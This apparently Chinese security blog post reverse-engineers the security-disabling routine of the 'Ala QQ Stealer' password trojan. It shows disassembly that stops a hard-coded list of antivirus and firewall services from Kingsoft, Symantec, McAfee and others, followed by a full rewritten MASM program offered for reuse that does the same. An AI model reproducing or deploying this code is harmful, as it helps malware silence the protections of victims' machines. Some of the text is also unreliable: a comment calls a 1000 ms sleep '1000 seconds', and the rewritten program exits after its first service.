啊拉QQ大盜有幾個(gè)部分,大家看一下他的功能:
運(yùn)行后關(guān)閉QQ,安裝后刪除自身,過(guò)濾重復(fù)號(hào)碼,徹底墜毀防火墻等等.其中我最感興趣的還是看看啊拉QQ大盜是怎么墜毀防火墻的,故挑了重點(diǎn)對(duì)它進(jìn)行逆向分析.這個(gè)服務(wù)端是加了個(gè)殼.我對(duì)脫殼白癡,所以叫冷血書(shū)生幫我脫了.廢話少說(shuō),下面是反匯編代碼:
CODE:
.shrink:0040A0AA mov eax, offset s_Rsccenter ; "RsCCenter"
.shrink:0040A0AF call sub_4095FC ;干掉如下防火墻服務(wù)..
.shrink:0040A0AF
.shrink:0040A0B4 mov eax, offset s_Kvsrvxp ; "KVSrvXP"
.shrink:0040A0B9 call sub_4095FC
.shrink:0040A0B9
.shrink:0040A0BE mov eax, offset s_Kavsvc ; "kavsvc"
.shrink:0040A0C3 call sub_4095FC
.shrink:0040A0C3
.shrink:0040A0C8 mov eax, offset s_Kpfwsvc ; "KPfwSvc"
.shrink:0040A0CD call sub_4095FC
.shrink:0040A0CD
.shrink:0040A0D2 mov eax, offset s_Kwatchsvc ; "KWatchSvc"
.shrink:0040A0D7 call sub_4095FC
.shrink:0040A0D7
.shrink:0040A0DC mov eax, offset s_Wscsvc ; "wscsvc"
.shrink:0040A0E1 call sub_4095FC
.shrink:0040A0E1
.shrink:0040A0E6 mov eax, offset s_Sndsrvc ; "SNDSrvc"
.shrink:0040A0EB call sub_4095FC
.shrink:0040A0EB
.shrink:0040A0F0 mov eax, offset s_Ccproxy ; "ccProxy"
.shrink:0040A0F5 call sub_4095FC
.shrink:0040A0F5
.shrink:0040A0FA mov eax, offset s_Ccevtmgr ; "ccEvtMgr"
.shrink:0040A0FF call sub_4095FC
.shrink:0040A0FF
.shrink:0040A104 mov eax, offset s_Ccsetmgr ; "ccSetMgr"
.shrink:0040A109 call sub_4095FC
.shrink:0040A109
.shrink:0040A10E mov eax, offset s_Spbbcsvc ; "SPBBCSvc"
.shrink:0040A113 call sub_4095FC
.shrink:0040A113
.shrink:0040A118 mov eax, offset s_SymantecCoreL ; "Symantec Core LC"
.shrink:0040A11D call sub_4095FC
.shrink:0040A11D
.shrink:0040A122 mov eax, offset s_Navapsvc ; "navapsvc"
.shrink:0040A127 call sub_4095FC
.shrink:0040A127
.shrink:0040A12C mov eax, offset s_Npfmntor ; "NPFMntor"
.shrink:0040A131 call sub_4095FC
.shrink:0040A131
.shrink:0040A136 mov eax, offset s_Mskservice ; "MskService"
.shrink:0040A13B call sub_4095FC
.shrink:0040A13B
.shrink:0040A140 mov eax, offset s_Mctaskmanager ; "McTaskManager"
.shrink:0040A145 call sub_4095FC
.shrink:0040A145
.shrink:0040A14A mov eax, offset s_Mcshield ; "McShield"
.shrink:0040A14F call sub_4095FC
.shrink:0040A14F
.shrink:0040A154 mov eax, offset s_Mcafeeframewo ; "McAfeeFramework"
.shrink:0040A159 call sub_4095FC
.shrink:0040A159
.shrink:0040A15E
.shrink:0040A15E loc_40A15E: ; CODE XREF: .shrink:0040A16D j
.shrink:0040A15E call sub_409064
.shrink:0040A15E
.shrink:0040A163 push 0BB8h
.shrink:0040A168 call Sleep ;休眠
.shrink:0040A168
.shrink:0040A16D jmp short loc_40A15E
.shrink:0040A16D
[Copy to clipboard]
很明顯,通過(guò)一個(gè)參數(shù)傳遞給sub_4095FC這個(gè)分支,而這個(gè)參數(shù)正好是一些常見(jiàn)的殺毒軟件服務(wù)名稱.所以這個(gè)函數(shù)應(yīng)該這樣構(gòu)造:char sub_4095FC(int buffer)(C語(yǔ)言語(yǔ)法)把這個(gè)名稱傳遞給sub_4095FC干什么捏?大家請(qǐng)看sub_4095FC這個(gè)分支:
CODE:
.shrink:004095FC sub_4095FC proc near
.shrink:004095FC
.shrink:004095FC
.shrink:004095FC
.shrink:004095FC
.shrink:004095FC
.shrink:004095FC
.shrink:004095FC var_4 = dword ptr -4 ;傳遞進(jìn)來(lái)的參數(shù)
.shrink:004095FC
.shrink:004095FC push ebp
.shrink:004095FD mov ebp, esp
.shrink:004095FF push ecx
.shrink:00409600 push ebx
.shrink:00409601 push esi
.shrink:00409602 push edi
.shrink:00409603 mov [ebp+var_4], eax
.shrink:00409606 mov eax, [ebp+var_4]
.shrink:00409609 call sub_403ED0
.shrink:00409609
.shrink:0040960E xor eax, eax
.shrink:00409610 push ebp
.shrink:00409611 push offset s_SUIL_YN@ ; "榕瀄xFF\xFF膃嬅_^[Y]脥@" (這里已經(jīng)被加密)
.shrink:00409616 push dword ptr fs:[eax]
.shrink:00409619 mov fs:[eax], esp
.shrink:0040961C mov eax, [ebp+var_4]
.shrink:0040961F call sub_403EE0
.shrink:0040961F
.shrink:00409624 mov esi, eax
.shrink:00409626 push 0F003Fh ; dwDesiredAccess
.shrink:0040962B push 0 ; lpDatabaseName
.shrink:0040962D push 0 ; lpMachineName
.shrink:0040962F call OpenSCManagerA ; 打開(kāi)服務(wù)管理器
.shrink:0040962F
.shrink:00409634 mov edi, eax ; 保存句柄到edi
.shrink:00409636 test edi, edi ; 是否打開(kāi)成功?
.shrink:00409638 jbe short loc_4096A8 ; 打開(kāi)成功,繼續(xù)執(zhí)行,反之跳到這里
.shrink:00409638
.shrink:0040963A push 0F01FFh ; dwDesiredAccess
.shrink:0040963F push esi ; lpServiceName
.shrink:00409640 push edi ; hSCManager
.shrink:00409641 call OpenServiceA ; 打開(kāi)一個(gè)防火墻的服務(wù)
.shrink:00409641
.shrink:00409646 mov esi, eax
.shrink:00409648 test esi, esi
.shrink:0040964A jbe short loc_4096A2 ; 打開(kāi)出錯(cuò) 關(guān)閉句柄
.shrink:0040964A
.shrink:0040964C push offset ServiceStatus ; lpServiceStatus
.shrink:00409651 push 1 ; dwControl
.shrink:00409653 push esi ; hService
.shrink:00409654 call ControlService ; 停止人家的防火墻的服務(wù)
.shrink:00409654
.shrink:00409659 test eax, eax
.shrink:0040965B jz short loc_4096A8
.shrink:0040965B
.shrink:0040965D push 3E8h ; dwMilliseconds
.shrink:00409662 call Sleep ; 休眠1000秒
.shrink:00409662
.shrink:00409667 jmp short loc_40967C
.shrink:00409667
.shrink:00409669 ; ---------------------------------------------------------------------------
.shrink:00409669
.shrink:00409669 loc_409669:
.shrink:00409669 cmp ServiceStatus.dwCurrentState,3 ;是否是SERVICE_STOP_PENDING狀態(tài)
.shrink:00409670 jnz short loc_40968B
.shrink:00409670
.shrink:00409672 push 3E8h ; dwMilliseconds
.shrink:00409677 call Sleep ;休眠
.shrink:00409677
.shrink:0040967C
.shrink:0040967C loc_40967C:
.shrink:0040967C push offset ServiceStatus ; lpServiceStatus
.shrink:00409681 push esi ; hService
.shrink:00409682 call QueryServiceStatus ; 查詢?cè)O(shè)備驅(qū)動(dòng)器的當(dāng)前狀態(tài)
.shrink:00409682
.shrink:00409687 test eax, eax
.shrink:00409689 jnz short loc_409669 ; 查詢未成功,繼續(xù)休泯,然后再查詢
.shrink:00409689
.shrink:0040968B
.shrink:0040968B loc_40968B:
.shrink:0040968B cmp ServiceStatus.dwCurrentState, 1
.shrink:00409692 jz short loc_4096A8 ; 對(duì)比是否收到控制代碼SERVICE_STOP_PENDING
.shrink:00409692
.shrink:00409694 push esi ; hSCObject
.shrink:00409695 call CloseServiceHandle ; 關(guān)閉這個(gè)服務(wù)
.shrink:00409695
.shrink:0040969A push edi ; hSCObject
.shrink:0040969B call CloseServiceHandle
.shrink:0040969B
.shrink:004096A0 jmp short loc_4096A8
.shrink:004096A0
.shrink:004096A2 ; ---------------------------------------------------------------------------
.shrink:004096A2
.shrink:004096A2 loc_4096A2:
.shrink:004096A2 push edi ; hSCObject
.shrink:004096A3 call CloseServiceHandle ; 關(guān)閉打開(kāi)服務(wù)管理器的句柄
.shrink:004096A3
.shrink:004096A8
.shrink:004096A8 loc_4096A8:
.shrink:004096A8
.shrink:004096A8
.shrink:004096A8
.shrink:004096A8 xor eax, eax
.shrink:004096AA pop edx
.shrink:004096AB pop ecx
.shrink:004096AC pop ecx
.shrink:004096AD mov fs:[eax], edx
.shrink:004096B0 push 4096C5h ; <suspicious>
.shrink:004096B5 lea eax, [ebp+var_4]
.shrink:004096B8 call sub_403B68
.shrink:004096B8
.shrink:004096BD retn
.shrink:004096BD
.shrink:004096BD sub_4095FC endp ; sp = -18h
[Copy to clipboard]
原來(lái)是通過(guò)連接服務(wù)器設(shè)備管理器來(lái)關(guān)閉服務(wù),如果函數(shù)ControlService執(zhí)行不成功的話,就關(guān)閉句柄退了出去,反之,查詢一下ControlService函數(shù)關(guān)閉后管理器返回的ServiceStatus的結(jié)構(gòu)成員dwCurrentState的值非SERVICE_STOP_PENDING的標(biāo)志,就代表關(guān)閉成功,就可以關(guān)閉這個(gè)服務(wù)了.其實(shí)這是很簡(jiǎn)單的.
下面就給出匯編源代碼
CODE:
;******************************************************************
;程序編寫(xiě)by Asm
;日期：2007-3-07日
;出處：
http://www.wolfexp.net/（紅狼安全小組）
;注意事項(xiàng)：如欲轉(zhuǎn)載，請(qǐng)保持本程序的完整，并注明：
;轉(zhuǎn)載自 紅狼安全小組(
http://www.wolfexp.net/)
;注意事項(xiàng):公布源碼僅限技術(shù)交流,如果使用引起的損失,由使用者自己全部負(fù)責(zé)!
;*****************************************************************
.386
.model flat, stdcall
option casemap :none
include windows.inc
include kernel32.inc
include advapi32.inc
includelib kernel32.lib
includelib advapi32.lib
_CloseService PROTO :DWORD
.data
s_Rsccenter db "RsCCenter"
s_Kvsrvxp db "KVSrvXP"
s_Kavsvc db "kavsvc"
s_Kpfwsvc db "KPfwSvc"
s_Kwatchsvc db "KWatchSvc"
s_Wscsvc db "wscsvc"
s_Sndsrvc db "SNDSrvc"
s_Ccproxy db "ccProxy"
s_Ccevtmgr db "ccEvtMgr"
s_Ccsetmgr db "ccSetMgr"
s_Spbbcsvc db "SPBBCSvc"
s_SymantecCoreL db "Symantec Core LC"
s_Navapsvc db "navapsvc"
s_Npfmntor db "NPFMntor"
s_Mskservice db "MskService"
s_Mctaskmanager db "McTaskManager"
s_Mcshield db "McShield"
s_Mcafeeframewo db "McAfeeFramework"
.code
_CloseService proc _Service
local hSCManager:DWORD
local hService:DWORD
local ServiceStatus:SERVICE_STATUS
invoke OpenSCManager,NULL,NULL, SC_MANAGER_CREATE_SERVICE ;連接服務(wù)管理器
.if eax!=0
mov hSCManager, eax ;連接成功，返回一個(gè)句柄
.elseif
jmp ExitSCManager
.endif
invoke OpenService, hSCManager,_Service,0F01FFh ;打開(kāi)服務(wù)
.if eax!=0
mov hService,eax
.elseif
jmp ExitSCManager
.endif
invoke ControlService,hService,SERVICE_CONTROL_STOP,addr ServiceStatus ;停止防火墻的服務(wù)
.if eax == NULL
jmp ExitSCManager
.endif
invoke Sleep,1000
invoke QueryServiceStatus,hService,addr ServiceStatus ;查詢返回的標(biāo)志
.if eax != NULL
cmp ServiceStatus.dwCurrentState,SERVICE_STOP_PENDING ;獲取SERVICE_STOP_PENDING標(biāo)志代表關(guān)閉成功
jnz ColseIt
.endif
ColseIt:
cmp ServiceStatus.dwCurrentState,1h
jz ExitSCManager
invoke CloseServiceHandle,hService
invoke CloseServiceHandle,hSCManager
ExitSCManager:
invoke CloseServiceHandle, hSCManager
invoke ExitProcess,NULL
_CloseService endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke _CloseService,addr s_Rsccenter
invoke _CloseService,addr s_Kvsrvxp
invoke _CloseService,addr s_Kavsvc
invoke _CloseService,addr s_Kpfwsvc
invoke _CloseService,addr s_Kwatchsvc
invoke _CloseService,addr s_Wscsvc
invoke _CloseService,addr s_Sndsrvc
invoke _CloseService,addr s_Ccproxy
invoke _CloseService,addr s_Ccevtmgr
invoke _CloseService,addr s_Ccsetmgr
invoke _CloseService,addr s_Spbbcsvc
invoke _CloseService,addr s_SymantecCoreL
invoke _CloseService,addr s_Navapsvc
invoke _CloseService,addr s_Npfmntor
invoke _CloseService,addr s_Mskservice
invoke _CloseService,addr s_Mctaskmanager
invoke _CloseService,addr s_Mcshield
invoke _CloseService,addr s_Mcafeeframewo
end start
域名注冊(cè)知識(shí)
虛擬主機(jī)知識(shí)
網(wǎng)站建設(shè)知識(shí)
網(wǎng)絡(luò)推廣知識(shí)
網(wǎng)絡(luò)營(yíng)銷知識(shí)
常見(jiàn)技術(shù)問(wèn)題
QQ空間
新浪微博
開(kāi)心網(wǎng)
人人網(wǎng)
